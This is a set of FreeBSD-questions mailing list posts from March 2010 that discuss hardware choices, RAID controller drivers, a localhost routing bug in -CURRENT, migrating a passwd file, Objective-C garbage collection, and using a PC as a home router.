> they aren't the worst out there, it still doesn't make it very compelling
> for me. Depending on your resources(money) you might consider something
> like this:
WEll, frankly, _cost_ is less of an issue considering all
the grief, &c. i think I've built [custom ordred] more
and better systems than the Dells and HPs.
>
> http://www.ixsystems.com/apollo
I'll look this up when I am using a GUI mailer.
>
> While more money than you'd probably spend with dell, here's a couple
> reasons to consider it further.
>
> 1. Out the Box compatibility
> 2. Great hardware support/warranty service
> 3. Vendor backing of your OS
> 4. Long term upgradability, this will serve you better than any emachine.
> 5. ixsystems is a large supporter of FreeBSD
>
> I believe the TCO of something like that is lower than most alternatives.
>
> One further thought is I don't see a lot sense in the requirement "must be a
> dell, cause the other ones I have are dell" given the amount of machines you
> run. To me, it would make more sense to standardize on something like cpu,
> so that you could run one as a build system/package repository. I know that
> settling on one vendor generally means you only need one source for warranty
> work, but with stickers on cases and online accounts this isn't such an
> issue anymore.
>
I would like to establish a history with one vendor, so
your feedback makes sense.
What I haven't decided on yet in whether to go with a
dual-core or quad-. mY current desktop is a 2.4GHz and
has always seemed slow when I've running more than five
tasks. Strange. The new dual-core server is like
greased lightening ... and extremely lightly loaded.
gary
>
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On Wed, Mar 10, 2010 at 2:01 PM, Gary Kline <kline@thought.org> wrote:
> On Tue, Mar 09, 2010 at 10:04:26PM -0600, Adam Vande More wrote:
> > On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline <kline@thought.org> wrote:
> >
> > > Aloha Al and thanks for responding. {god this has been a
> > > long day... . ............}
> > >
> > > Well, long-story-short, the most unepect thing happened: a
> > > power surge. I did not realize that my printer was also off
> > > until hours later. A friend helped me trace the problem and
> > > reset my surgge-protector. ---It is worth noting that BEFORE
> > > I got my battery [UPS], when things were dead or suddenly
> > > went dead, i knew right away to check the surge-protector.
> > >
> > > nutshell: things are almost back. it'll be only an hour
> > > before everything is back.
> > >
> > > still, this is a warning to get back on the ball and start
> > > looking for a new desktop.
> > >
> > > i would be much obliged for ideas on what kind of dell to buy
> > > next. i say 'dell' because i would like to make life simple
> > > and eventually have one kind of box. (i have three tower
> > > computers: one is my DNS/mail/web server; one is my pfSense
> > > firewall; one is my laptop. i COULD use the server as a
> > > desktop, but that would be too much of a risk!
> > >
> > > so:: should i be looking for a dual or quad? ----i am biased
> > > toward intel because i think the AMD requires more juice. [[my
> > > only linux server --long dead-- seemed to suck 100w to 107w as
> > > a minimum.]]
> > >
> > > suggestions?
> > >
> >
> > I don't really think much of Dell consumer level products or support.
> While
> > they aren't the worst out there, it still doesn't make it very compelling
> > for me. Depending on your resources(money) you might consider something
> > like this:
>
>
> WEll, frankly, _cost_ is less of an issue considering all
> the grief, &c. i think I've built [custom ordred] more
> and better systems than the Dells and HPs.
>
> >
> > http://www.ixsystems.com/apollo
>
>
> I'll look this up when I am using a GUI mailer.
> >
> > While more money than you'd probably spend with dell, here's a couple
> > reasons to consider it further.
> >
> > 1. Out the Box compatibility
> > 2. Great hardware support/warranty service
> > 3. Vendor backing of your OS
> > 4. Long term upgradability, this will serve you better than any
> emachine.
> > 5. ixsystems is a large supporter of FreeBSD
> >
> > I believe the TCO of something like that is lower than most alternatives.
> >
> > One further thought is I don't see a lot sense in the requirement "must
> be a
> > dell, cause the other ones I have are dell" given the amount of machines
> you
> > run. To me, it would make more sense to standardize on something like
> cpu,
> > so that you could run one as a build system/package repository. I know
> that
> > settling on one vendor generally means you only need one source for
> warranty
> > work, but with stickers on cases and online accounts this isn't such an
> > issue anymore.
> >
>
>
> I would like to establish a history with one vendor, so
> your feedback makes sense.
>
> What I haven't decided on yet in whether to go with a
> dual-core or quad-. mY current desktop is a 2.4GHz and
> has always seemed slow when I've running more than five
> tasks. Strange. The new dual-core server is like
> greased lightening ... and extremely lightly loaded.
>
> gary
>
>
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I will choose to go witha Dual Core and the extra buck to a better hard
driver, more memory or even better a good quality mainboard.
--
mmm, interesante.....
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>> I am compiling this program and running it, and without the "release"
>> calls there, it certainly is using up more and more memory every
>> second. =A0Definitely no garbage collection happening. =A0I then modifie=
d
>> the GNUmakefile to make sure that the option "-fobjc-gc" was being
>> passed to gcc, and verbose output from make assured me that this was
>> the case. =A0However, my program sill did not garbage collect (3 gigs of
>> RAM, then a segfault). =A0I then tried the gcc option "-fobjc-gc-only"
>> and gcc42 reported that it did not recognize that option. =A0The options
>> are described here:
>> http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-=
4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.htm=
l
>
> While I am not very familiar with Objective C, I can tell you that GC
> generally runs in the background, using idle time to scavenge memory.
> (It's not counted pointers, synchronously freeing memory immediately.)
> So if you race to allocate memory in an infinite loop like this, you are
> destined to exhaust memory, GC or no, unless the runtime is designed to
> force a GC on alloc in low memory conditions.
>
> Try putting some sort of sleep in the middle of your loop and see if GC
> kicks in and you get more of a sawtooth memory usage pattern.
Well thanks for that advice. My new program looks like this:
#import "GarbageObj.h"
int main(int argc, const char *argv[]) {
int inx =3D 0;
while (YES) {
inx++;
GarbageObj *obj =3D [[GarbageObj alloc] init];
[obj foo];
if (inx =3D=3D 100000) {
inx =3D 0;
sleep(1);
}
}
return 0;
}
Unfortunately the memory usage is still steadily increasing. No
garbage collection even if I compile with "-fobjc-gc". :-(
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>You can do this with the native "make release" process for freebsd.
>
>http://www.freebsd.org/doc/en_US.ISO8859-1/articles/releng/release-build.h=
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>
>Is this what you are looking for?
Hmmm. This might very well do what we need. I'll check it out. Thanks.
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On Mar 7, 2010, at 10:35 AM, Alexander Best wrote:
> recent chromium builds on http://chromium.jaggeri.com/ and
> http://code.google.com/p/chromium-freebsd8/ support html5. don't
> know if the
> firefox and opera ports support html5 yet.
>
> alex
Opera seems to have the best support for HTML5 at this point.
http://en.wikipedia.org/wiki/Comparison_of_layout_engines_%28HTML5%29
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On Mar 8, 2010, at 7:53 AM, ltsampros wrote:
> Alexander Best <alexbestms@wwu.de> writes:
>
>> recent chromium builds on http://chromium.jaggeri.com/ and
>> http://code.google.com/p/chromium-freebsd8/ support html5. don't
>> know if the
>> firefox and opera ports support html5 yet.
>
> If you use the latest version of firefox , check this link:
>
> http://www.mozilla.com/en-US/firefox/video/?video=personas
>
> It played flawless on my system and I don't remember me having
> configured some option/port knob to enable the functionality.
>
> However, there is an ongoing battle regarding which codecs would be
> supported. Google/Apple support h264 while Mozilla/Opera prefer/
> advocate
> the Ogg theora one. I think this is a pretty thin picture of the
> situation but I guess you can google it around.
>
> So, don't expect all html5/video sites to work.
>
>> alex
The main issue is licensing fees. The company that owns h2.64 charges
$5M for a license. Ogg Theora on the other hand is slightly more
affordable as a semi-open codec. I certainly would not bet the farm on
this fight ending nicely.
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I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit
aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also have
an addon card with a SiI 3124 RAID controller.
The problem is that I can see the 2 disks and the RAID1 set that I want
to use for the system if I connect the disks to the built in 3132
controller. But if I connect the disks to the 3124 controller and create
a RAID1 set, only the disks can be seen.
I need to be able to use both controllers because I've got four disks
that I want to build a RAID5 set on one of the controllers.
Can anyone shed some light on this. Via Google I've read some articles
about these controllers and I'm aware that I might have to rethink
because of lacking support for the 3124 controller.
I've read in the ata man page that parameters can be added to
/boot/device.hints but I'm not sure how to handle this during installation.
/Leslie
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On 03/10/10 15:56, Leslie Jensen wrote:
>
> I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit
> aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also
> have an addon card with a SiI 3124 RAID controller.
>
> The problem is that I can see the 2 disks and the RAID1 set that I
> want to use for the system if I connect the disks to the built in 3132
> controller. But if I connect the disks to the 3124 controller and
> create a RAID1 set, only the disks can be seen.
>
> I need to be able to use both controllers because I've got four disks
> that I want to build a RAID5 set on one of the controllers.
>
> Can anyone shed some light on this. Via Google I've read some articles
> about these controllers and I'm aware that I might have to rethink
> because of lacking support for the 3124 controller.
>
> I've read in the ata man page that parameters can be added to
> /boot/device.hints but I'm not sure how to handle this during
> installation.
>
> /Leslie
>
>
Are you using the default ata(4) driver that FreeBSD-8 boots with, or
are you loading the siis(4) module at boot? If you are using the ata(4)
driver, you should try enabling the siis(4) driver by placing
'siis_load="YES"' in /boot/loader.conf. Beware that the names of your
disks will transition from ad -> ada and will likely be renumbered as well.
The siis(4) driver overall has a much richer feature set. I have
several 3124 controllers which work great with it, but I have never
tried using the controllers RAID - I simply use them as disk controllers
and then pool the disks using ZFS.
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On 03/07/2010 12:29, Josh Paetzel wrote:
> On Sunday 07 March 2010 10:53:29 Anselm Strauss wrote:
>> On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote:
>>> On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
>>>> On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
>>>>> Hi,
>>>>>
>>>>> I noticed that in PC-BSD 8 firefox is nicely integrated into KDE.
>>>>> Anybody knows how to achieve this on FreeBSD 8?
>>>>>
>>>>> Anselm
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>>>> I believe you mean that you need KDE to open Firefox whenever you click
>>>> on a link. That's easy. From your KDE menu, open "System Settings" (in
>>>> the first tab, "favorites")
>>>> Then select "Default Applications". Then, in the left list of the
>>>> applications, choose "Web browser", and at the right part of the screen
>>>> choose the radio button "in the following browser" and in the edit box
>>>> enter the "/usr/local/bin/firefox3". Then apply the new settings.
>>>>
>>>> Elias
>>>
>>> Another trick that PC-BSD uses....which might be more of what you are
>>>
>>> asking about is the installation of a port called
>>> x11-themes/gtk-qt4-engine This port allows gtk applications to be
>>> displayed using qt, which helps integrate the look of things like FF,
>>> Thunderbird, OOo with KDE.
>>
>> I already installed the gtk-qt4-engine, but it has some serious bugs.
>> Scroll bars are not painted, tab borders are painted at the wrong
>> position, etc. Could this be because I modified some of KDEs appearance
>> options?
>>
The gtk-qt4-engine works great here, not run into those problems you
describe. Check the gtk-qt4-engine configuration gui in KDE4's system
settings though, there is a fix you can enable to fix scrollbar issues.
>> Are there any other integration tweaks, like icons, keyboard shortcuts,
>> file chooser dialog, ... ?
We've not modified anything else like that, just standard stuff.
>> Thanks,
>> Anselm
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On Wednesday 10 March 2010 14:49:59 parv@pair.com wrote:
> in message <201003100850.58321.lobo@bsd.com.br>,
> wrote Mario Lobo thusly...
>
> ...
>
> > I have 8-STABLE amd64
> >
> > I have a dell vostro 1320 with a 4315 wireless and got it working
> > with the bwn driver from HEAD (svn) and the net/bwn-firmware-kmod
> > port.
>
> Mario, do WPA & WPA2 work with the card?
>
>
> - parv
>
WEP - yes
WPA - not tested
WPA2 - not tested
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I've got an old Linksys router hanging off of my cable modem that is severa=
l years old and is about to die (very poor wireless throughput should be 54=
mb and is 2, runs hot, and "buzzes" while turned on). I've got an older P=
C that would great as a router....however I also need it to be a wireless a=
ccess point for my house. It has a PCI wireless network card (A 54G Belkin=
, not sure of the exact model). I know FreeBSD is technically capable for =
acting as my DHCP, DNS, router, gateway box if properly configured. The qu=
estion is, can it use that wireless card to act as a access point instead o=
f a client (how the card is intended to be used)?
Also, any links anyone can provide on how to setup a FreeBSD box to act as =
home router/gateway would be much appreciated!
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On Thursday 11 of March 2010 03:36, mailinglist wrote:
> The question is, can it use that wireless card to
> act as a access point instead of a client (how the card is intended to be
> used)?
you can run the hostapd daemon to configure a card as an access point. I di=
d=20
this on an openbsd box, so i'm perfectly sure you can do it on a freebsd bo=
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I need to migrate a passwd file from an old 6.2 server to a newer 8.0
server (different box). This is what I did:
copied the '/etc/master.passwd' from old server to
'/etc/master.passwd' on new server
then ran:
pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd
It seems to work, but is this correct? I'd hate to miss somethign
before it goes online.
Thanks guys!
-Modulok-
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I misconfigured my system somehow,
so now I can't ping localhost:
# ping localhost
PING localhost (127.0.0.1): 56 data bytes
ping: sendto: No route to host
ping: sendto: No route to host
^C
# cat /etc/hosts
# $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $
#
::1 localhost localhost.men.bris.ac.uk
127.0.0.1 localhost localhost.men.bris.ac.uk
So far, can't find anything relevant
on the net.
Please advise
many thanks
anton
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On Wed, Mar 10, 2010 at 9:23 PM, Anton Shterenlikht <mexas@bristol.ac.uk> w=
rote:
> I misconfigured my system somehow,
> so now I can't ping localhost:
>
> # ping localhost
> PING localhost (127.0.0.1): 56 data bytes
> ping: sendto: No route to host
> ping: sendto: No route to host
> ^C
>
> # cat /etc/hosts
> # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $
> #
> ::1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.=
ac.uk
> 127.0.0.1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.ac.uk
>
> So far, can't find anything relevant
> on the net.
>
> Please advise
>
> many thanks
> anton
>
> --
Just a shot in the dark. Do you have a default route?
-r
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On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht <mexas@bristol.ac.uk> wrote:
> I misconfigured my system somehow,
> so now I can't ping localhost:
>
> # ping localhost
> PING localhost (127.0.0.1): 56 data bytes
> ping: sendto: No route to host
> ping: sendto: No route to host
> ^C
what is the output of uname -a ?
I believe -current has a issue where you can not ping localhost atm
Sam Fourman Jr.
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On Wed, Mar 10, 2010 at 9:23 PM, Anton Shterenlikht <mexas@bristol.ac.uk> w=
rote:
> I misconfigured my system somehow,
> so now I can't ping localhost:
>
> # ping localhost
> PING localhost (127.0.0.1): 56 data bytes
> ping: sendto: No route to host
> ping: sendto: No route to host
> ^C
>
> # cat /etc/hosts
> # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $
> #
> ::1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.=
ac.uk
> 127.0.0.1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.ac.uk
>
> So far, can't find anything relevant
> on the net.
>
> Please advise
>
> many thanks
> anton
http://www.freebsd.org/doc/handbook/network-routing.html
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On Wed, Mar 10, 2010 at 08:34:08PM -0600, Sam Fourman Jr. wrote:
> On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht <mexas@bristol.ac.uk> wrote:
> > I misconfigured my system somehow,
> > so now I can't ping localhost:
> >
> > # ping localhost
> > PING localhost (127.0.0.1): 56 data bytes
> > ping: sendto: No route to host
> > ping: sendto: No route to host
> > ^C
>
> what is the output of uname -a ?
# uname -a
FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2: Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF sparc64
> I believe -current has a issue where you can not ping localhost atm
>
all my machines are current, but some are more current than others..
Well, the ping issue is just an example.
My real problem is that sendmail can't send
anything locally:
# tail /var/log/maillog
Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
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#
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anton
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On Wed, Mar 10, 2010 at 6:34 PM, Sam Fourman Jr. <sfourman@gmail.com> wrote:
> On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht <mexas@bristol.ac.uk> wrote:
>> I misconfigured my system somehow,
>> so now I can't ping localhost:
>>
>> # ping localhost
>> PING localhost (127.0.0.1): 56 data bytes
>> ping: sendto: No route to host
>> ping: sendto: No route to host
>> ^C
>
> what is the output of uname -a ?
>
> I believe -current has a issue where you can not ping localhost atm
That's correct. Try the following patch:
http://people.freebsd.org/~qingli/route.h.diff
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On Wed, Mar 10, 2010 at 8:47 PM, Anton Shterenlikht <mexas@bristol.ac.uk>wrote:
> # uname -a
> FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2:
> Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF
> sparc64
>
>
> > I believe -current has a issue where you can not ping localhost atm
> >
>
> all my machines are current, but some are more current than others..
>
> Well, the ping issue is just an example.
> My real problem is that sendmail can't send
> anything locally:
>
> # tail /var/log/maillog
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426:
> to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00,
> mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred:
> [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0hbGe029358:
> to=mexas, ctladdr=mexas (1001/1001), delay=01:33:21, xdelay=00:00:00,
> mailer=relay, pri=570028, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred:
> [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4K005078: to=root,
> delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3721559,
> relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4L005078: to=root,
> delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3725184,
> relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4L004977: to=root,
> delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903061,
> relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4K004977: to=root,
> delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903122,
> relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3bvPl004242: to=root,
> ctladdr=root (0/0), delay=22:39:01, xdelay=00:00:00, mailer=relay,
> pri=4530195, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3c9wG004609: to=root,
> ctladdr=root (0/0), delay=22:38:49, xdelay=00:00:00, mailer=relay,
> pri=4533820, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A340iF002543: to=root,
> ctladdr=root (0/0), delay=23:12:58, xdelay=00:00:00, mailer=relay,
> pri=4711758, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> route to host
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A33vXB002495: to=root,
> ctladdr=root (0/0), delay=23:13:01, xdelay=00:00:00, mailer=relay,
> pri=4801697, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> route to host
> #
>
>
> many thanks
> anton
>
> --
> Anton Shterenlikht
>
If you run CURRENT, you would do well to follow the mailing list.
http://groups.google.com/group/mailing.freebsd.current/browse_thread/thread/2ab13c4b31228c88/15dab18a9066e9a2?lnk=raot
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> Well, the ping issue is just an example.
> My real problem is that sendmail can't send
> anything locally:
>
> # tail /var/log/maillog
> Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=3D=
mexas, ctladdr=3Dmexas (1001/1001), delay=3D01:32:05, xdelay=3D00:00:00, =
mailer=3Drelay, pri=3D480031, relay=3D[127.0.0.1], dsn=3D4.0.0, stat=3DDe=
ferred: [127.0.0.1]: No route to host
Well, have you considered looking to see if it's right? What do you get =
in response to:
$ netstat -rn | grep 127
127.0.0.1 127.0.0.1 UH 0 64746 lo0
$
Showing what I get on a 7.0 server.
Unless they've moved things around since 7.0, you probably want to make=20
sure that you've not messed with the ifconfig_lo0 line in=20
/etc/defaults/rc.conf.
My apologies if that config stuff has changed in the latest; I don't=20
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On Wed, Mar 10, 2010 at 10:00:01PM -0500, Jon Radel wrote:
>
> > Well, the ping issue is just an example.
> > My real problem is that sendmail can't send
> > anything locally:
> >
> > # tail /var/log/maillog
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
>
> Well, have you considered looking to see if it's right? What do you get
> in response to:
>
> $ netstat -rn | grep 127
> 127.0.0.1 127.0.0.1 UH 0 64746 lo0
> $
>
> Showing what I get on a 7.0 server.
>
> Unless they've moved things around since 7.0, you probably want to make
> sure that you've not messed with the ifconfig_lo0 line in
> /etc/defaults/rc.conf.
>
> My apologies if that config stuff has changed in the latest; I don't
> have access to the latest right now.
# netstat -rn|grep 127
127.0.0.1 link#2 UH 0 0 lo0
thank you
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On Wed, Mar 10, 2010 at 08:58:12PM -0600, Adam Vande More wrote:
> On Wed, Mar 10, 2010 at 8:47 PM, Anton Shterenlikht <mexas@bristol.ac.uk>wrote:
>
> > # uname -a
> > FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2:
> > Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF
> > sparc64
> >
> >
> > > I believe -current has a issue where you can not ping localhost atm
> > >
> >
> > all my machines are current, but some are more current than others..
> >
> > Well, the ping issue is just an example.
> > My real problem is that sendmail can't send
> > anything locally:
> >
> > # tail /var/log/maillog
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426:
> > to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00,
> > mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred:
> > [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0hbGe029358:
> > to=mexas, ctladdr=mexas (1001/1001), delay=01:33:21, xdelay=00:00:00,
> > mailer=relay, pri=570028, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred:
> > [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4K005078: to=root,
> > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3721559,
> > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4L005078: to=root,
> > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3725184,
> > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4L004977: to=root,
> > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903061,
> > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4K004977: to=root,
> > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903122,
> > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3bvPl004242: to=root,
> > ctladdr=root (0/0), delay=22:39:01, xdelay=00:00:00, mailer=relay,
> > pri=4530195, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> > route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3c9wG004609: to=root,
> > ctladdr=root (0/0), delay=22:38:49, xdelay=00:00:00, mailer=relay,
> > pri=4533820, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> > route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A340iF002543: to=root,
> > ctladdr=root (0/0), delay=23:12:58, xdelay=00:00:00, mailer=relay,
> > pri=4711758, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> > route to host
> > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A33vXB002495: to=root,
> > ctladdr=root (0/0), delay=23:13:01, xdelay=00:00:00, mailer=relay,
> > pri=4801697, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No
> > route to host
> > #
> >
> >
> > many thanks
> > anton
> >
> > --
> > Anton Shterenlikht
> >
>
> If you run CURRENT, you would do well to follow the mailing list.
>
> http://groups.google.com/group/mailing.freebsd.current/browse_thread/thread/2ab13c4b31228c88/15dab18a9066e9a2?lnk=raot
yes, I've seen this.
It's just that usually when I get problems I suspect my incompetence,
so this thread didn't come to mind.
many thanks
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In the last episode (Mar 10), Modulok said:
> I need to migrate a passwd file from an old 6.2 server to a newer 8.0
> server (different box). This is what I did:
>
> copied the '/etc/master.passwd' from old server to '/etc/master.passwd'
> on new server then ran:
>
> pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd
>
> It seems to work, but is this correct? I'd hate to miss somethign before
> it goes online.
Yep, that should work. Don't forget to update /etc/groups too.
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> I've got an old Linksys router hanging off of my cable modem that is seve=
ral years old and is about to die (very poor wireless throughput should be =
54 mb and is 2, runs hot, and "buzzes" while turned on). =A0I've got an old=
er PC that would great as a router....however I also need it to be a wirele=
ss access point for my house. =A0It has a PCI wireless network card (A 54G =
Belkin, not sure of the exact model). =A0I know FreeBSD is technically capa=
ble for acting as my DHCP, DNS, router, gateway box if properly configured.=
=A0The question is, can it use that wireless card to act as a access point=
instead of a client (how the card is intended to be used)?
>
> Also, any links anyone can provide on how to setup a FreeBSD box to act a=
s home router/gateway would be much appreciated!
I too am using an old PC as my home router. I have an ath-based
("ath" is the driver) wireless card which is acting as a host access
point. Then I have about 4 ethernet ports, but I'm only using 2. One
of those is a gigabit card, and most of my home computer collection is
on a gigabit LAN.
Just look in the Handbook I guess. Once you have it all set up it's
very rewarding. I'll never go back to having a purpose-built router
device for my home.
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> What is the content of the header file?
File GarbageObj.h:
====================
#import <Foundation/Foundation.h>
@interface GarbageObj : NSObject {
}
-(void) foo;
@end
File GarbageObj.m:
====================
#import "GarbageObj.h"
@implementation GarbageObj
-(void) foo {
}
-(void) dealloc {
//printf("dealloc\n");
[super dealloc];
}
@end
File GarbageMain.m:
====================
#import "GarbageObj.h"
int main(int argc, const char *argv[]) {
int inx = 0;
while (YES) {
inx++;
GarbageObj *obj = [[GarbageObj alloc] init];
[obj foo];
if (inx == 1000000) {
inx = 0;
sleep(1);
}
//printf("before release\n");
//[obj release];
//printf("after release\n");
}
return 0;
}
File GNUmakefile:
====================
include $(GNUSTEP_MAKEFILES)/common.make
APP_NAME = garbagecollection
garbagecollection_HEADERS = GarbageObj.h
garbagecollection_OBJC_FILES = GarbageObj.m GarbageMain.m
garbagecollection_RESOURCE_FILES =
ADDITIONAL_OBJCFLAGS = -fobjc-gc
include $(GNUSTEP_MAKEFILES)/application.make
(I was building it as a "tool" before but now I tried "app" instead.
Same thing really.)
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On 2010-03-10 23:12, Steve Polyack wrote:
> On 03/10/10 15:56, Leslie Jensen wrote:
>>
>> I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit
>> aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also
>> have an addon card with a SiI 3124 RAID controller.
>>
>> The problem is that I can see the 2 disks and the RAID1 set that I
>> want to use for the system if I connect the disks to the built in 3132
>> controller. But if I connect the disks to the 3124 controller and
>> create a RAID1 set, only the disks can be seen.
>>
>> I need to be able to use both controllers because I've got four disks
>> that I want to build a RAID5 set on one of the controllers.
>>
>> Can anyone shed some light on this. Via Google I've read some articles
>> about these controllers and I'm aware that I might have to rethink
>> because of lacking support for the 3124 controller.
>>
>> I've read in the ata man page that parameters can be added to
>> /boot/device.hints but I'm not sure how to handle this during
>> installation.
>>
>> /Leslie
>>
>>
> Are you using the default ata(4) driver that FreeBSD-8 boots with, or
> are you loading the siis(4) module at boot? If you are using the ata(4)
> driver, you should try enabling the siis(4) driver by placing
> 'siis_load="YES"' in /boot/loader.conf. Beware that the names of your
> disks will transition from ad -> ada and will likely be renumbered as well.
>
> The siis(4) driver overall has a much richer feature set. I have several
> 3124 controllers which work great with it, but I have never tried using
> the controllers RAID - I simply use them as disk controllers and then
> pool the disks using ZFS.
>
I installed with the 2 disks connected to the controller that was found
by Freebsd. Then I added siis_load="YES" to /boot/loader.conf.
Power down the machine and connected 4 drives to the 3124 controller.
Upon restart I created a RAID5 set with the 4 drives in the controllers
bios. Booted into FreeBSD but the RAID5 was not detected only the
individual disks.
This controller obviously does not work as expected. I need a suggestion
on a not to expensive RAID controller that is supported by FreeBSD so
that I can get the RAID5 set to work.
Thanks
/Leslie
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You can use pfSense : =0ApfSense is a free, open source customized distribu=
tion of FreeBSD tailored for use as a firewall and router.=0Ahttp://www.pfs=
ense.org/=0ApfSense is very simple and intuitive to use with is GUI in PHP.=
=0A=0A--- En date de=A0: Jeu 11.3.10, mailinglist <mailinglist@ucwv.edu> a=
=E9crit=A0:=0A=0A> De: mailinglist <mailinglist@ucwv.edu>=0A> Objet: Repla=
cing Home Router With PC=0A> =C0: "freebsd-questions@freebsd.org" <freebsd-=
questions@freebsd.org>=0A> Date: Jeudi 11 mars 2010, 1h36=0A> I've got an o=
ld Linksys router=0A> hanging off of my cable modem that is several years o=
ld and=0A> is about to die (very poor wireless throughput should be 54=0A> =
